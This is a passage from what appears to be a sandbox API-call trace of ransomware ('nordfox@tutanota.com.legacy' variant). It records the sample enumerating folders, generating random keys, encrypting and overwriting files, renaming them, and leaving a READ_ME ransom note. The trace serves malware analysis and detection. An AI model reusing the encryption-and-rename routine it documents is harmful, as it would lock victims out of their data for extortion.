nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a58e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0099.672] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.672] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a58e0 | out: hHeap=0x520000) returned 1 [0099.673] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4958 [0099.673] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.674] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.675] WriteFile (in: hFile=0x494, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.675] WriteFile (in: hFile=0x494, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.675] CloseHandle (hObject=0x494) returned 1 [0099.687] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0099.687] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0099.687] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0099.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0099.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0099.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0099.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0099.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0099.690] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0099.690] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0099.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0099.690] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0099.691] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0099.691] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=82346) returned 1 [0099.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x141aa) returned 0x5a0f80 [0099.691] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x141aa) returned 0x5b5138 [0099.691] ReadFile (in: hFile=0x494, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x141aa, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x141aa, lpOverlapped=0x0) returned 1 [0099.771] SetFilePointer (in: hFile=0x494, lDistanceToMove=-82346, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.771] WriteFile (in: hFile=0x494, lpBuffer=0x5b5138*, nNumberOfBytesToWrite=0x141aa, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b5138*, lpNumberOfBytesWritten=0x2e1f9bc*=0x141aa, lpOverlapped=0x0) returned 1 [0099.771] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.772] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b5138 | out: hHeap=0x520000) returned 1 [0099.774] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x141aa [0099.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.774] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.775] WriteFile (in: hFile=0x494, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.776] WriteFile (in: hFile=0x494, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.776] CloseHandle (hObject=0x494) returned 1 [0099.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0099.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0099.786] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1031\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0099.788] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0099.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0099.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0099.788] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0099.788] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0099.788] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0099.788] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1031\\eula.rtf", dwFileAttributes=0x80) returned 1 [0099.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0099.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0099.789] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0099.789] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0099.789] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3419) returned 1 [0099.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd5b) returned 0x5a0f80 [0099.789] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd5b) returned 0x5a1ce8 [0099.789] ReadFile (in: hFile=0x494, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xd5b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xd5b, lpOverlapped=0x0) returned 1 [0099.801] SetFilePointer (in: hFile=0x494, lDistanceToMove=-3419, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.802] WriteFile (in: hFile=0x494, lpBuffer=0x5a1ce8*, nNumberOfBytesToWrite=0xd5b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1ce8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd5b, lpOverlapped=0x0) returned 1 [0099.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1ce8 | out: hHeap=0x520000) returned 1 [0099.802] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd5b [0099.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.803] WriteFile (in: hFile=0x494, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.803] WriteFile (in: hFile=0x494, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.803] CloseHandle (hObject=0x494) returned 1 [0099.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0099.805] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0099.805] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1031\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d9d0 | out: hHeap=0x520000) returned 1 [0099.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571c70 | out: hHeap=0x520000) returned 1 [0099.807] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0be8 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.807] GetLastError () returned 0x0 [0099.807] SetLastError (dwErrCode=0x0) [0099.807] GetLastError () returned 0x0 [0099.807] SetLastError (dwErrCode=0x0) [0099.807] GetLastError () returned 0x0 [0099.807] SetLastError (dwErrCode=0x0) [0099.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0099.807] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0099.807] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0928 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0928 | out: hHeap=0x520000) returned 1 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0099.808] FindNextFileW (in: hFindFile=0x5a0be8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0099.808] GetLastError () returned 0x0 [0099.808] SetLastError (dwErrCode=0x0) [0099.808] GetLastError () returned 0x0 [0099.808] SetLastError (dwErrCode=0x0) [0099.808] GetLastError () returned 0x0 [0099.808] SetLastError (dwErrCode=0x0) [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d500 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d500 | out: hHeap=0x520000) returned 1 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0e28 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0e28 | out: hHeap=0x520000) returned 1 [0099.808] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201b0 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201b0 | out: hHeap=0x520000) returned 1 [0099.808] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0099.809] FindNextFileW (in: hFindFile=0x5a0be8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x22ac, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5787b8 [0099.809] GetLastError () returned 0x0 [0099.809] SetLastError (dwErrCode=0x0) [0099.809] GetLastError () returned 0x0 [0099.809] SetLastError (dwErrCode=0x0) [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0099.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0099.809] GetLastError () returned 0x0 [0099.809] SetLastError (dwErrCode=0x0) [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0099.809] FindNextFileW (in: hFindFile=0x5a0be8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0099.809] GetLastError () returned 0x0 [0099.809] SetLastError (dwErrCode=0x0) [0099.809] GetLastError () returned 0x0 [0099.809] SetLastError (dwErrCode=0x0) [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0099.809] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0099.809] GetLastError () returned 0x0 [0099.809] SetLastError (dwErrCode=0x0) [0099.809] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566ba0 [0099.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566ba0 | out: hHeap=0x520000) returned 1 [0099.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556c58 [0099.810] FindNextFileW (in: hFindFile=0x5a0be8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c7ef69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c7ef69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0099.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0099.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.810] GetLastError () returned 0x0 [0099.810] SetLastError (dwErrCode=0x0) [0099.810] GetLastError () returned 0x0 [0099.810] SetLastError (dwErrCode=0x0) [0099.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0099.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0099.810] GetLastError () returned 0x0 [0099.810] SetLastError (dwErrCode=0x0) [0099.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.810] FindNextFileW (in: hFindFile=0x5a0be8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0099.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0099.810] GetLastError () returned 0x0 [0099.810] SetLastError (dwErrCode=0x0) [0099.810] GetLastError () returned 0x0 [0099.810] SetLastError (dwErrCode=0x0) [0099.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0099.810] GetLastError () returned 0x0 [0099.810] SetLastError (dwErrCode=0x0) [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0099.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0099.811] FindNextFileW (in: hFindFile=0x5a0be8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5566a8 [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0099.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0099.811] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0099.811] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0099.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0099.811] CreateFileW (lpFileName="\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x498 [0099.812] GetFileSizeEx (in: hFile=0x498, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=19288) returned 1 [0099.812] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b58) returned 0x5a0f80 [0099.812] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b58) returned 0x5a5ae0 [0099.812] ReadFile (in: hFile=0x498, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4b58, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b58, lpOverlapped=0x0) returned 1 [0099.823] SetFilePointer (in: hFile=0x498, lDistanceToMove=-19288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.823] WriteFile (in: hFile=0x498, lpBuffer=0x5a5ae0*, nNumberOfBytesToWrite=0x4b58, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a5ae0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b58, lpOverlapped=0x0) returned 1 [0099.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.824] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a5ae0 | out: hHeap=0x520000) returned 1 [0099.825] SetFilePointer (in: hFile=0x498, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b58 [0099.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.825] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, 